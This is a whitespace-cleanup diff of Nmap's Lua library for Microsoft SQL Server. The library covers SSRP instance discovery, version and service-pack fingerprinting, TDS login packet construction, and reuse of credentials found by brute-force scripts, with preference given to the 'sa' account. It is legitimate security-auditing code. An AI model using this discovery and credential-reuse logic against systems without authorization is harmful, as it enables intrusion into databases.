) elseif (self.pipeName and other.pipeName) then areEqual = areEqual and (self.pipeName == other.pipeName) elseif (self.instanceName and other.instanceName) then @@ -203,10 +203,10 @@ SqlServerInstanceInfo = -- we can't say whether they're the same areEqual = false end - + return areEqual end, - + --- Merges the data from one SqlServerInstanceInfo object into another. Each -- field in the first object is populated with the data from that field in -- second object if the first object's field is nil OR if overwrite @@ -221,12 +221,12 @@ SqlServerInstanceInfo = self[ fieldname ] = other[ fieldname ] end end - if (self.version and self.version.source == "SSRP" and + if (self.version and self.version.source == "SSRP" and other.version and other.version.Source == "SSNetLib") then self.version = other.version end end, - + --- Returns a name for the instance, based on the available information. This -- may take one of the following forms: -- * HOST\INSTANCENAME @@ -241,7 +241,7 @@ SqlServerInstanceInfo = return string.format( "%s:%s", self.host.ip or self.serverName or "[nil]", (self.port and self.port.number) or "[nil]" ) end end, - + --- Sets whether the instance is in a cluster -- -- @param self @@ -250,7 +250,7 @@ SqlServerInstanceInfo = SetIsClustered = function( self, isClustered ) self.isClustered = (isClustered == true) or (isClustered == "Yes") end, - + --- Indicates whether this instance has networking protocols enabled, such -- that scripts could attempt to connect to it. HasNetworkProtocols = function( self ) @@ -260,9 +260,9 @@ SqlServerInstanceInfo = --- SqlServerVersionInfo class -SqlServerVersionInfo = +SqlServerVersionInfo = { - versionNumber = "", -- The full version string (e.g. "9.00.2047.00") + versionNumber = "", -- The full version string (e.g. "9.00.2047.00") major = nil, -- The major version (e.g. 9) minor = nil, -- The minor version (e.g. 0) build = nil, -- The build number (e.g. 2047) @@ -279,7 +279,7 @@ SqlServerVersionInfo = self.__index = self return o end, - + --- Sets the version using a version number string. -- -- @param versionNumber a version number string (e.g. "9.00.1399.00") @@ -296,7 +296,7 @@ SqlServerVersionInfo = self:SetVersion( major, minor, revision, subBuild, source ) end, - + --- Sets the version using the individual numeric components of the version -- number. -- @@ -304,25 +304,25 @@ SqlServerVersionInfo = SetVersion = function(self, major, minor, build, subBuild, source) self.source = source -- make sure our version numbers all end up as valid numbers - self.major, self.minor, self.build, self.subBuild = + self.major, self.minor, self.build, self.subBuild = tonumber( major or 0 ), tonumber( minor or 0 ), tonumber( build or 0 ), tonumber( subBuild or 0 ) - + self.versionNumber = string.format( "%u.%02u.%u.%02u", self.major, self.minor, self.build, self.subBuild ) - + self:_ParseVersionInfo() end, - + --- Using the version number, determines the product version _InferProductVersion = function(self) - + local VERSION_LOOKUP_TABLE = { - ["^6%.0"] = "6.0", ["^6%.5"] = "6.5", ["^7%.0"] = "7.0", + ["^6%.0"] = "6.0", ["^6%.5"] = "6.5", ["^7%.0"] = "7.0", ["^8%.0"] = "2000", ["^9%.0"] = "2005", ["^10%.0"] = "2008", ["^10%.50"] = "2008 R2", ["^11%.0"] = "2012", } - + local product = "" - + for m, v in pairs(VERSION_LOOKUP_TABLE) do if ( self.versionNumber:match(m) ) then product = v @@ -330,17 +330,17 @@ SqlServerVersionInfo = break end end - + self.productName = ("Microsoft SQL Server %s"):format(product) - + end, - - + + --- Returns a lookup table that maps revision numbers to service pack levels for -- the applicable SQL Server version (e.g. { {1600, "RTM"}, {2531, "SP1"} }). _GetSpLookupTable = function(self) - - -- Service pack lookup tables: + + -- Service pack lookup tables: -- For instances where a revised service pack was released (e.g. 2000 SP3a), we will include the -- build number for the original SP and the build number for the revision. However, leaving it -- like this would make it appear that subsequent builds were a patched version of the revision @@ -349,25 +349,25 @@ SqlServerVersionInfo = -- number that combines the two. local SP_LOOKUP_TABLE_6_5 = { {201, "RTM"}, {213, "SP1"}, {240, "SP2"}, {258, "SP3"}, {281, "SP4"}, {415, "SP5"}, {416, "SP5a"}, {417, "SP5/SP5a"}, } - + local SP_LOOKUP_TABLE_7 = { {623, "RTM"}, {699, "SP1"}, {842, "SP2"}, {961, "SP3"}, {1063, "SP4"}, } - + local SP_LOOKUP_TABLE_2000 = { {194, "RTM"}, {384, "SP1"}, {532, "SP2"}, {534, "SP2"}, {760, "SP3"}, {766, "SP3a"}, {767, "SP3/SP3a"}, {2039, "SP4"}, } - + local SP_LOOKUP_TABLE_2005 = { {1399, "RTM"}, {2047, "SP1"}, {3042, "SP2"}, {4035, "SP3"}, {5000, "SP4"}, } - + local SP_LOOKUP_TABLE_2008 = { {1600, "RTM"}, {2531, "SP1"}, {4000, "SP2"}, {5500, "SP3"}, } - + local SP_LOOKUP_TABLE_2008R2 = { {1600, "RTM"}, {2500, "SP1"}, {4000, "SP2"}, } local SP_LOOKUP_TABLE_2012 = { {2100, "RTM"}, } - - + + if ( not self.brandedVersion ) then self:_InferProductVersion() end - + local spLookupTable if self.brandedVersion == "6.5" then spLookupTable = SP_LOOKUP_TABLE_6_5 elseif self.brandedVersion == "7.0" then spLookupTable = SP_LOOKUP_TABLE_7 @@ -377,26 +377,26 @@ SqlServerVersionInfo = elseif self.brandedVersion == "2008 R2" then spLookupTable = SP_LOOKUP_TABLE_2008R2 elseif self.brandedVersion == "2012" then spLookupTable = SP_LOOKUP_TABLE_2012 end - + return spLookupTable - + end, - - + + --- Processes version data to determine (if possible) the product version, -- service pack level and patch status. _ParseVersionInfo = function(self) - + local spLookupTable = self:_GetSpLookupTable() - + if spLookupTable then - + local spLookupItr = 0 -- Loop through the service pack levels until we find one whose revision -- number is the same as or lower than our revision number. while spLookupItr < #spLookupTable do spLookupItr = spLookupItr + 1 - + if (spLookupTable[ spLookupItr ][1] == self.build ) then spLookupItr = spLookupItr break @@ -411,18 +411,18 @@ SqlServerVersionInfo = break end end - + -- Now that we've identified the proper service pack level: if self.servicePackLevel ~= "Pre-RTM" then self.servicePackLevel = spLookupTable[ spLookupItr ][2] - + if ( spLookupTable[ spLookupItr ][1] == self.build ) then self.patched = false else self.patched = true end end - + -- Clean up some of our inferences. If the source of our revision number -- was the SSRP (SQL Server Browser) response, we need to recognize its -- limitations: @@ -432,19 +432,19 @@ SqlServerVersionInfo = -- * Versions of SQL Server starting with 2005 (and going through at least -- 2008) do better but are still only reported with the build number as -- of the last service pack (e.g. SQL Server 2005 SP3 with patches is - -- still reported as 9.00.4035.00). + -- still reported as 9.00.4035.00). if ( self.source == "SSRP" ) then self.patched = nil - + if ( self.major <= 8 ) then self.servicePackLevel = nil end end end - + return true end, - + --- ToString = function(self) local friendlyVersion = strbuf.new() @@ -458,23 +458,23 @@ SqlServerVersionInfo = friendlyVersion:concatbuf( "+" ) end end - + return friendlyVersion:dump() end, - + --- Uses the information in this SqlServerVersionInformation object to -- populate the version information in an Nmap port table for a SQL Server -- TCP listener. - -- + -- -- @param self A SqlServerVersionInformation object -- @param port An Nmap port table corresponding to the instance PopulateNmapPortVersion = function(self, port) - + port.service = "ms-sql-s" port.version = port.version or {} port.version.name = "ms-sql-s" port.version.product = self.productName - + local versionString = strbuf.new() if self.source ~= "SSRP" then versionString:concatbuf( self.versionNumber ) @@ -487,7 +487,7 @@ SqlServerVersionInfo = end port.version.version = versionString:dump() end - + return port end, } @@ -495,12 +495,12 @@ SqlServerVersionInfo = -- ************************************* -- SSRP (SQL Server Resolution Protocol) --- ************************************* -SSRP = +-- ************************************* +SSRP = { PORT = { number = 1434, protocol = "udp" }, DEBUG_ID = "MSSQL-SSRP", - + MESSAGE_TYPE = { ClientBroadcast = 0x02, @@ -509,7 +509,7 @@ SSRP = ClientUnicastDAC = 0x0F, ServerResponse = 0x05, }, - + --- Parses an SSRP string and returns a table containing one or more -- SqlServerInstanceInfo objects created from the parsed string. _ParseSsrpString = function( host, ssrpString ) @@ -518,7 +518,7 @@ SSRP = -- data, signifying an empty field (e.g. "...bv;;@COMPNAME;;tcp;1433;;..."). -- So, instead, we'll split up the string ahead of time. -- See the SSRP specification for more details. - + local instanceStrings = {} local firstInstanceEnd, instanceString repeat @@ -529,26 +529,26 @@ SSRP = else instanceString = ssrpString end - + table.insert( instanceStrings, instanceString ) until (not firstInstanceEnd) stdnse.print_debug( 2, "%s: SSRP Substrings:\n %s", SSRP.DEBUG_ID, stdnse.strjoin( "\n ", instanceStrings ) ) - + local instances = {} for _, instanceString in ipairs( instanceStrings ) do local instance = SqlServerInstanceInfo:new() local version = SqlServerVersionInfo:new() instance.version = version - + instance.host = host instance.serverName = instanceString:match( "ServerName;(.-);") instance.instanceName = instanceString:match( "InstanceName;(.-);") instance:SetIsClustered( instanceString:match( "IsClustered;(.-);") ) version:SetVersionNumber( instanceString:match( "Version;(.-);"), "SSRP" ) - + local tcpPort = tonumber( instanceString:match( ";tcp;(.-);") ) - if tcpPort then instance.port = {number = tcpPort, protocol = "tcp"} end - + if tcpPort then instance.port = {number = tcpPort, protocol = "tcp"} end + local pipeName = instanceString:match( ";np;(.-);") local status, pipeSubPath = namedpipes.get_pipe_subpath( pipeName ) if status then @@ -557,13 +557,13 @@ SSRP = stdnse.print_debug( 1, "%s: Invalid pipe name:\n%s", SSRP.DEBUG_ID, pipeName ) end instance.pipeName = pipeName - + table.insert( instances, instance ) end - + return instances end, - + --- _ProcessResponse = function( host, responseData ) local instances @@ -575,16 +575,16 @@ SSRP = stdnse.print_debug( 2, "%s: SSRP Data: %s", SSRP.DEBUG_ID, responseData ) if ( messageType ~= SSRP.MESSAGE_TYPE.ServerResponse or dataLength ~= responseData:len() ) then - + stdnse.print_debug( 2, "%s: Invalid SSRP response. Type: 0x%02x, Length: %d, Actual length: %d", SSRP.DEBUG_ID, messageType, dataLength, responseData:len() ) else instances = SSRP._ParseSsrpString( host, responseData ) end - + return instances end, - + --- Attempts to retrieve information about SQL Server instances by querying -- the SQL Server Browser service on a host. -- @@ -592,27 +592,27 @@ SSRP = -- @param port (Optional) A port table for the target SQL Server Browser service -- @return (status, result) If status is true, result is a table of -- SqlServerInstanceInfo objects. If status is false, result is an - -- error message. + -- error message. DiscoverInstances = function( host, port ) port = port or SSRP.PORT - + if ( SCANNED_PORTS_ONLY and nmap.get_port_state( host, port ) == nil ) then stdnse.print_debug( 2, "%s: Discovery disallowed: scanned-ports-only is set and port %d was not scanned", SSRP.DEBUG_ID, port.number ) return false, "Discovery disallowed: scanned-ports-only" end - + local socket = nmap.new_socket("udp") socket:set_timeout(5000) - + if ( port.number ~= SSRP.PORT.number ) then stdnse.print_debug( 1, "%s: DiscoverInstances() called with non-standard port (%d)", SSRP.DEBUG_ID, port.number ) end - + local status, err = socket:connect( host, port ) if ( not(status) ) then return false, err end status, err = socket:send( bin.pack( "C", SSRP.MESSAGE_TYPE.ClientUnicast ) ) if ( not(status) ) then return false, err end - + local responseData, instances_host status, responseData = socket:receive() if ( not(status) ) then return false, responseData @@ -620,11 +620,11 @@ SSRP = instances_host = SSRP._ProcessResponse( host, responseData ) end socket:close() - + return status, instances_host end, - - + + --- Attempts to retrieve information about SQL Server instances by querying -- the SQL Server Browser service on a broadcast domain. -- @@ -633,21 +633,21 @@ SSRP = -- @return (status, result) If status is true, result is a table of -- tables containing SqlServerInstanceInfo objects. The top-level table -- is indexed by IP address. If status is false, result is an - -- error message. + -- error message. DiscoverInstances_Broadcast = function( host, port ) port = port or SSRP.PORT - + local socket = nmap.new_socket("udp") socket:set_timeout(5000) local instances_all = {} - + if ( port.number ~= SSRP.PORT.number ) then stdnse.print_debug( 1, "%S: DiscoverInstances_Broadcast() called with non-standard port (%d)", SSRP.DEBUG_ID, port.number ) end - + local status, err = socket:sendto(host, port, bin.pack( "C", SSRP.MESSAGE_TYPE.ClientBroadcast )) if ( not(status) ) then return false, err end - + while ( status ) do local responseData status, responseData = socket:receive() @@ -659,7 +659,7 @@ SSRP = end end socket:close() - + return true, instances_all end, } @@ -681,7 +681,7 @@ PacketType = } -- TDS response token types -TokenType = +TokenType = { ReturnStatus = 0x79, TDS7Results = 0x81, @@ -698,7 +698,7 @@ TokenType = } -- SQL Server/Sybase data types -DataTypes = +DataTypes = { SQLTEXT = 0x23, GUIDTYPE = 0x24, @@ -723,7 +723,7 @@ DataTypes = -- SQL Server login error codes -- See http://msdn.microsoft.com/en-us/library/ms131024.aspx -LoginErrorType = +LoginErrorType = { AccountLockedOut = 15113, NotAssociatedWithTrustedConnection = 18452, -- This probably means that the server is set for Windows authentication only @@ -744,7 +744,7 @@ for i, v in pairs(LoginErrorType) do end -- "static" ColumInfo parser class -ColumnInfo = +ColumnInfo = { Parse = @@ -753,7 +753,7 @@ ColumnInfo = [DataTypes.SQLTEXT] = function( data, pos ) local colinfo = {} local tmp - + pos, colinfo.unknown, colinfo.codepage, colinfo.flags, colinfo.charset = bin.unpack("CSS", optionType, offset, optionLength ) offset = offset + optionLength - + optionType = PreLoginPacket.OPTION_TYPE.Encryption optionLength = OPTION_LENGTH_CLIENT[ optionType ] data = data .. bin.pack( ">CSS", optionType, offset, optionLength ) offset = offset + optionLength - + optionType = PreLoginPacket.OPTION_TYPE.InstOpt optionLength = #self._instanceName + 1 --(string length + null-terminator) data = data .. bin.pack( ">CSS", optionType, offset, optionLength ) offset = offset + optionLength - + optionType = PreLoginPacket.OPTION_TYPE.ThreadId optionLength = OPTION_LENGTH_CLIENT[ optionType ] data = data .. bin.pack( ">CSS", optionType, offset, optionLength ) offset = offset + optionLength - + if self.requestMars then optionType = PreLoginPacket.OPTION_TYPE.MARS optionLength = OPTION_LENGTH_CLIENT[ optionType ] data = data .. bin.pack( ">CSS", optionType, offset, optionLength ) offset = offset + optionLength end - + data = data .. bin.pack( "C", PreLoginPacket.OPTION_TYPE.Terminator ) - + -- Now that the pre-login headers are done, write the data data = data .. bin.pack( ">CCSS", self.versionInfo.major, self.versionInfo.minor, self.versionInfo.build, self.versionInfo.subBuild ) @@ -1604,12 +1604,12 @@ PreLoginPacket = if self.requestMars then data = data .. bin.pack( "C", self._requestMars ) end - + return PacketType.PreLogin, data end, - + --- Reads a byte-string and creates a PreLoginPacket object from it. This is - -- intended to handle the server's response to a pre-login request. + -- intended to handle the server's response to a pre-login request. FromBytes = function( bytes ) local OPTION_LENGTH_SERVER = { [PreLoginPacket.OPTION_TYPE.Version] = 6, @@ -1619,13 +1619,13 @@ PreLoginPacket = [PreLoginPacket.OPTION_TYPE.MARS] = 1, [PreLoginPacket.OPTION_TYPE.Terminator] = 0, } - - + + local status, pos = false, 1 local preLoginPacket = PreLoginPacket:new() - + while true do - + local optionType, optionPos, optionLength, optionData, expectedOptionLength, _ pos, optionType = bin.unpack("C", bytes, pos) if ( optionType == PreLoginPacket.OPTION_TYPE.Terminator ) then @@ -1637,21 +1637,21 @@ PreLoginPacket = stdnse.print_debug( 2, "%s: Unrecognized pre-login option type: %s", "MSSQL", optionType ) expectedOptionLength = -1 end - + pos, optionPos, optionLength = bin.unpack(">SS", bytes, pos) if not (optionPos and optionLength) then stdnse.print_debug( 2, "%s: Could not unpack optionPos and optionLength.", "MSSQL" ) return false, "Invalid pre-login response" end - + optionPos = optionPos + 1 -- convert from 0-based index to 1-based index if ( (optionPos + optionLength) > (#bytes + 1) ) then stdnse.print_debug( 2, "%s: Pre-login response: pos+len for option type %s is beyond end of data.", "MSSQL", optionType ) stdnse.print_debug( 2, "%s: (optionPos: %s) (optionLength: %s)", "MSSQL", optionPos, optionLength ) return false, "Invalid pre-login response" end - - + + if ( optionLength ~= expectedOptionLength and expectedOptionLength ~= -1 ) then stdnse.print_debug( 2, "%s: Option data is incorrect size in pre-login response. ", "MSSQL" ) stdnse.print_debug( 2, "%s: (optionType: %s) (optionLength: %s)", "MSSQL", optionType, optionLength ) @@ -1669,7 +1669,7 @@ PreLoginPacket = minor = string.byte( optionData:sub( 2, 2 ) ) build = (string.byte( optionData:sub( 3, 3 ) ) * 256) + string.byte( optionData:sub( 4, 4 ) ) subBuild = (string.byte( optionData:sub( 5, 5 ) ) * 256) + string.byte( optionData:sub( 6, 6 ) ) - + version = SqlServerVersionInfo:new() version:SetVersion( major, minor, build, subBuild, "SSNetLib" ) preLoginPacket.versionInfo = version @@ -1683,25 +1683,25 @@ PreLoginPacket = preLoginPacket:SetRequestMars( bin.unpack( "C", optionData ) ) end end - + return status, preLoginPacket end, } --- LoginPacket class -LoginPacket = +LoginPacket = { - + -- options_1 possible values -- 0x80 enable warning messages if SET LANGUAGE issued -- 0x40 change to initial database must succeed -- 0x20 enable warning messages if USE issued -- 0x10 enable BCP - + -- options_2 possible values -- 0x80 enable domain login security - -- 0x40 "USER_SERVER - reserved" + -- 0x40 "USER_SERVER - reserved" -- 0x20 user type is "DQ login" -- 0x10 user type is "replication login" -- 0x08 "fCacheConnect" @@ -1731,14 +1731,14 @@ LoginPacket = locale = "", database = "master", --nil, MAC = string.char(0x00,0x00,0x00,0x00,0x00,0x00), -- should contain client MAC, jTDS uses all zeroes - + new = function(self,o) o = o or {} setmetatable(o, self) self.__index = self return o end, - + --- Sets the username used for authentication -- -- @param username string containing the username to user for authentication @@ -1748,11 +1748,11 @@ LoginPacket = --- Sets the password used for authentication -- - -- @param password string containing the password to user for authentication + -- @param password string containing the password to user for authentication SetPassword = function(self, password) self.password = password end, - + --- Sets the database used in authentication -- -- @param database string containing the database name @@ -1766,11 +1766,11 @@ LoginPacket = SetServer = function(self, server) self.server = server end, - + SetDomain = function(self, domain) self.domain = domain end, - + --- Returns the authentication packet as string -- -- @return string containing the authentication packet @@ -1779,9 +1779,9 @@ LoginPacket = local offset = 86 local ntlmAuth = not(not(self.domain)) local authLen = 0 - + self.cli_pid = math.random(100000) - + self.length = offset + 2 * ( self.client:len() + self.app:len() + self.server:len() + self.library:len() + self.database:len() ) if ( ntlmAuth ) then @@ -1791,15 +1791,15 @@ LoginPacket = else self.length = self.length + 2 * (self.username:len() + self.password:len()) end - + data = bin.pack("PacketType, indicating the type of TDS @@ -2129,11 +2129,11 @@ TDSStream = { Send = function( self, packetType, packetData ) local packetLength = packetData:len() + 8 -- +8 for TDS header local messageStatus, spid, window = 1, 0, 0 - - + + if ( packetType ~= PacketType.NTAuthentication ) then self._packetId = self._packetId + 1 end local assembledPacket = bin.pack(">CCSSCCA", packetType, messageStatus, packetLength, spid, self._packetId, window, packetData ) - + if ( self._socket ) then return self._socket:send( assembledPacket ) elseif ( self._pipe ) then @@ -2155,18 +2155,18 @@ TDSStream = { local status, result, errorDetail local combinedData, readBuffer = "", "" -- the buffer is solely for the benefit of TCP connections local tdsPacketAvailable = true - + if not ( self._socket or self._pipe ) then return false, "Not connected" end - + -- Large messages (e.g. result sets) can be split across multiple TDS -- packets from the server (which could themselves each be split across -- multiple TCP packets or SMB messages). while ( tdsPacketAvailable ) do local packetType, messageStatus, packetLength, spid, window local pos = 1 - + if ( self._socket ) then -- If there is existing data in the readBuffer, see if there's -- enough to read the TDS headers for the next packet. If not, @@ -2183,26 +2183,26 @@ TDSStream = { status, result, errorDetail = self._pipe:receive() readBuffer = result end - + if not ( status and readBuffer ) then return false, result, errorDetail end - + -- TDS packet validity check: packet at least as long as the TDS header if ( readBuffer:len() < 8 ) then stdnse.print_debug( 2, "%s: Receiving (%s): packet is invalid length", "MSSQL", self._name ) - return false, "Server returned invalid packet" + return false, "Server returned invalid packet" end - + -- read in the TDS headers pos, packetType, messageStatus, packetLength = bin.unpack(">CCS", readBuffer, pos ) pos, spid, self._packetId, window = bin.unpack(">SCC", readBuffer, pos ) - + -- TDS packet validity check: packet type is Response (0x4) if ( packetType ~= PacketType.Response ) then stdnse.print_debug( 2, "%s: Receiving (%s): Expected type 0x4 (response), but received type 0x%x", "MSSQL", self._name, packetType ) return false, "Server returned invalid packet" end - + if ( self._socket ) then -- If we didn't previously read in enough data to complete this -- TDS packet, let's do so. @@ -2212,8 +2212,8 @@ TDSStream = { readBuffer = readBuffer .. result end end - - -- We've read in an apparently valid TDS packet + + -- We've read in an apparently valid TDS packet local thisPacketData = readBuffer:sub( pos, packetLength ) -- Append its data to that of any previous TDS packets combinedData = combinedData .. thisPacketData @@ -2222,24 +2222,24 @@ TDSStream = { -- so that we can use it in the next loop. readBuffer = readBuffer:sub( packetLength + 1 ) end - + -- TDS packet validity check: packet length matches length from header if ( packetLength ~= (thisPacketData:len() + 8) ) then stdnse.print_debug( 2, "%s: Receiving (%s): Header reports length %d, actual length is %d", "MSSQL", self._name, packetLength, thisPacketData:len() ) - return false, "Server returned invalid packet" + return false, "Server returned invalid packet" end - + -- Check the status flags in the TDS packet to see if the message is - -- continued in another TDS packet. - tdsPacketAvailable = (bit.band( messageStatus, TDSStream.MESSAGE_STATUS_FLAGS.EndOfMessage) ~= + -- continued in another TDS packet. + tdsPacketAvailable = (bit.band( messageStatus, TDSStream.MESSAGE_STATUS_FLAGS.EndOfMessage) ~= TDSStream.MESSAGE_STATUS_FLAGS.EndOfMessage) end - + -- return only the data section ie. without the headers return status, combinedData end, - + } --- Helper class @@ -2251,7 +2251,7 @@ Helper = self.__index = self return o end, - + --- Establishes a connection to the SQL server -- -- @param host table containing host information @@ -2268,7 +2268,7 @@ Helper = return true end, - + --- Establishes a connection to the SQL server -- -- @param host table containing host information @@ -2285,7 +2285,7 @@ Helper = return true end, - + --- Returns true if discovery has been performed to detect -- SQL Server instances on the given host WasDiscoveryPerformed = function( host ) @@ -2293,13 +2293,13 @@ Helper = mutex( "lock" ) nmap.registry.mssql = nmap.registry.mssql or {} nmap.registry.mssql.discovery_performed = nmap.registry.mssql.discovery_performed or {} - + local wasPerformed = nmap.registry.mssql.discovery_performed[ host.ip ] or false mutex( "done" ) - + return wasPerformed end, - + --- Adds an instance to the list of instances kept in the Nmap registry for -- shared use by SQL Server scripts. If the registry already contains the -- instance, any new information is merged into the existing instance info. @@ -2308,11 +2308,11 @@ Helper = -- will prevent duplicates, where possible. AddOrMergeInstance = function( newInstance ) local instanceExists - + nmap.registry.mssql = nmap.registry.mssql or {} nmap.registry.mssql.instances = nmap.registry.mssql.instances or {} nmap.registry.mssql.instances[ newInstance.host.ip ] = nmap.registry.mssql.instances[ newInstance.host.ip ] or {} - + for _, existingInstance in ipairs( nmap.registry.mssql.instances[ newInstance.host.ip ] ) do if existingInstance == newInstance then existingInstance:Merge( newInstance ) @@ -2320,15 +2320,15 @@ Helper = break end end - + if not instanceExists then table.insert( nmap.registry.mssql.instances[ newInstance.host.ip ], newInstance ) end end, - + --- Gets a table containing SqlServerInstanceInfo objects discovered on -- the specified host (and port, if specified). - -- + -- -- @param host A host table for the target host -- @param port (Optional) If omitted, all of the instances for the host -- will be returned. @@ -2337,7 +2337,7 @@ Helper = nmap.registry.mssql = nmap.registry.mssql or {} nmap.registry.mssql.instances = nmap.registry.mssql.instances or {} nmap.registry.mssql.instances[ host.ip ] = nmap.registry.mssql.instances[ host.ip ] or {} - + if ( not port ) then local instances = nmap.registry.mssql.instances[ host.ip ] if ( instances and #instances == 0 ) then instances = nil end @@ -2349,7 +2349,7 @@ Helper = return { instance } end end - + return nil end end, @@ -2358,22 +2358,22 @@ Helper = -- more (if broadcast is used) SQL Server Browser services. -- Any discovered instances are returned, as well as being stored for use -- by other scripts (see mssql.Helper.GetDiscoveredInstances()). - -- + -- -- @param host A host table for the target. -- @param port (Optional) A port table for the target port. If this is nil, - -- the default SSRP port (UDP 1434) is used. + -- the default SSRP port (UDP 1434) is used. -- @param broadcast If true, this will be done with an SSRP broadcast, and -- host should contain the broadcast specification (e.g. -- ip = "255.255.255.255"). -- @return (status, result) If status is true, result is a table of -- tables containing SqlServerInstanceInfo objects. The top-level table -- is indexed by IP address. If status is false, result is an - -- error message. + -- error message. DiscoverBySsrp = function( host, port, broadcast ) - + if broadcast then local status, result = SSRP.DiscoverInstances_Broadcast( host, port ) - + if not status then return status, result else @@ -2387,12 +2387,12 @@ Helper = end end end - + return true, result end else local status, result = SSRP.DiscoverInstances( host, port ) - + if not status then return status, result else @@ -2404,7 +2404,7 @@ Helper = nmap.set_port_version( host, instance.port) end end - + local instances_all = {} instances_all[ host.ip ] = result return true, instances_all @@ -2413,7 +2413,7 @@ Helper = end, --- Attempts to discover a SQL Server instance listening on the specified - -- port. If an instance is discovered, it is returned, as well as being + -- port. If an instance is discovered, it is returned, as well as being -- stored for use by other scripts (see mssql.Helper.GetDiscoveredInstances()). -- -- @param host A host table for the target. @@ -2429,7 +2429,7 @@ Helper = instance = SqlServerInstanceInfo:new() instance.host = host instance.port = port - + status, version = Helper.GetInstanceVersion( instance ) if ( status ) then Helper.AddOrMergeInstance( instance ) @@ -2444,7 +2444,7 @@ Helper = end end end - + return (instance ~= nil), { instance } end, @@ -2465,27 +2465,27 @@ Helper = } local tdsStream = TDSStream:new() local status, result, instances_host - + for _, pipeSubPath in ipairs( defaultPipes ) do status, result = tdsStream:ConnectToNamedPipe( host, pipeSubPath, nil ) - + if status then instances_host = {} local instance = SqlServerInstanceInfo:new() instance.pipeName = tdsStream:GetNamedPipeName() tdsStream:Disconnect() instance.host = host - + Helper.AddOrMergeInstance( instance ) table.insert( instances_host, instance ) else stdnse.print_debug( 3, "DiscoverBySmb \n pipe: %s\n result: %s", pipeSubPath, tostring( result ) ) end end - + return (instances_host ~= nil), instances_host end, - + --- Attempts to discover SQL Server instances by a variety of means. -- This function calls the three DiscoverBy functions, which perform the -- actual discovery. Any discovered instances can be retrieved using @@ -2496,10 +2496,10 @@ Helper = nmap.registry.mssql = nmap.registry.mssql or {} nmap.registry.mssql.discovery_performed = nmap.registry.mssql.discovery_performed or {} nmap.registry.mssql.discovery_performed[ host.ip ] = false - + local mutex = nmap.mutex( "discovery_performed for " .. host.ip ) mutex( "lock" ) - + local sqlDefaultPort = nmap.get_port_state( host, {number = 1433, protocol = "tcp"} ) or {number = 1433, protocol = "tcp"} local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} ) or {number = 1434, protocol = "udp"} local smbPort @@ -2512,7 +2512,7 @@ Helper = end -- if the user has specified ports, we'll check those too local targetInstancePorts = stdnse.get_script_args( "mssql.instance-port" ) - + if ( sqlBrowserPort and sqlBrowserPort.state ~= "closed" ) then Helper.DiscoverBySsrp( host, sqlBrowserPort ) end @@ -2531,11 +2531,11 @@ Helper = Helper.DiscoverByTcp( host, {number = portNumber, protocol = "tcp"} ) end end - + nmap.registry.mssql.discovery_performed[ host.ip ] = true mutex( "done" ) end, - + --- Returns all of the credentials available for the target instance, -- including any set by the mssql.username and mssql.password -- script arguments. @@ -2550,14 +2550,14 @@ Helper = break end if ( not credsExist ) then credentials = nil end - + if ( stdnse.get_script_args( "mssql.username" ) ) then credentials = credentials or {} local usernameArg = stdnse.get_script_args( "mssql.username" ) local passwordArg = stdnse.get_script_args( "mssql.password" ) or "" credentials[ usernameArg ] = passwordArg end - + return credentials end, @@ -2569,7 +2569,7 @@ Helper = -- password is used.) -- * If the password for the "sa" account has been discovered (e.g. by the -- ms-sql-empty-password or ms-sql-brute - -- scripts), these credentials are used. + -- scripts), these credentials are used. -- * If other credentials have been discovered, the first of these in the -- table are used. -- * Otherwise, nil is returned. @@ -2577,11 +2577,11 @@ Helper = -- @param instanceInfo A SqlServerInstanceInfo object for the target instance -- @return (username, password) GetLoginCredentials = function( instanceInfo ) - + -- First preference goes to any user-specified credentials local username = stdnse.get_script_args( "mssql.username" ) local password = stdnse.get_script_args( "mssql.password" ) or "" - + -- Otherwise, use any valid credentials that have been discovered (e.g. by ms-sql-brute) if ( not(username) and instanceInfo.credentials ) then -- Second preference goes to the "sa" account @@ -2597,7 +2597,7 @@ Helper = end end end - + return username, password end, @@ -2609,13 +2609,13 @@ Helper = if ( not(self.stream) ) then return false, "Not connected to server" end - + self.stream:Disconnect() self.stream = nil - + return true end, - + --- Authenticates to SQL Server. If login fails, one of the following error -- messages will be returned: -- * "Password is expired" @@ -2636,7 +2636,7 @@ Helper = local servername = servername or "DUMMY" local pos = 1 local ntlmAuth = false - + if ( not self.stream ) then return false, "Not connected to server" end @@ -2645,7 +2645,7 @@ Helper = loginPacket:SetPassword(password) loginPacket:SetDatabase(database) loginPacket:SetServer(servername) - + local domain = stdnse.get_script_args("mssql.domain") if (domain) then if ( not(HAVE_SSL) ) then return false, "mssql: OpenSSL not present" end @@ -2654,9 +2654,9 @@ Helper = if (domain == 1 or domain == true ) then domain = "." end - loginPacket:SetDomain(domain) + loginPacket:SetDomain(domain) end - + status, result = self.stream:Send( loginPacket:ToString() ) if ( not(status) ) then return false, result @@ -2668,7 +2668,7 @@ Helper = -- disconnect the pipe if the login attempt failed (this only seems -- to happen with non-"sa") accounts. At this point, having -- successfully connected and sent a message, we can be reasonably - -- comfortable that a disconnected pipe indicates a failed login. + -- comfortable that a disconnected pipe indicates a failed login. if ( errorDetail == "NT_STATUS_PIPE_DISCONNECTED" ) then return false, "Bad username or password", LoginErrorType.InvalidUsernameOrPassword end @@ -2690,7 +2690,7 @@ Helper = if ( -1 == pos ) then return false, token end - + if ( token.type == TokenType.ErrorMessage ) then local errorMessageLookup = { [LoginErrorType.AccountLockedOut] = "Account is locked out", @@ -2700,7 +2700,7 @@ Helper = [LoginErrorType.PasswordMustChange] = "Must change password at next logon", } local errorMessage = errorMessageLookup[ token.errno ] or string.format( "Login Failed (%s)", tostring(token.errno) ) - + return false, errorMessage, token.errno elseif ( token.type == TokenType.LoginAcknowledgement ) then return true, "Login Success" @@ -2709,11 +2709,11 @@ Helper = return false, "Failed to process login response" end, - + --- Authenticates to SQL Server, using the credentials returned by -- Helper.GetLoginCredentials(). If the login is rejected by the server, - -- the error code will be returned, as a number in the form of a - -- mssql.LoginErrorType (for which error messages can be + -- the error code will be returned, as a number in the form of a + -- mssql.LoginErrorType (for which error messages can be -- looked up in mssql.LoginErrorMessage). -- -- @param instanceInfo a SqlServerInstanceInfo object for the instance to log into @@ -2727,10 +2727,10 @@ Helper = if ( not username ) then return false, "No login credentials" end - + return self:Login( username, password, database, servername ) end, - + --- Performs a SQL query and parses the response -- -- @param query string containing the SQL query @@ -2738,16 +2738,16 @@ Helper = -- @return table containing a table of columns for each row -- or error message on failure Query = function( self, query ) - + 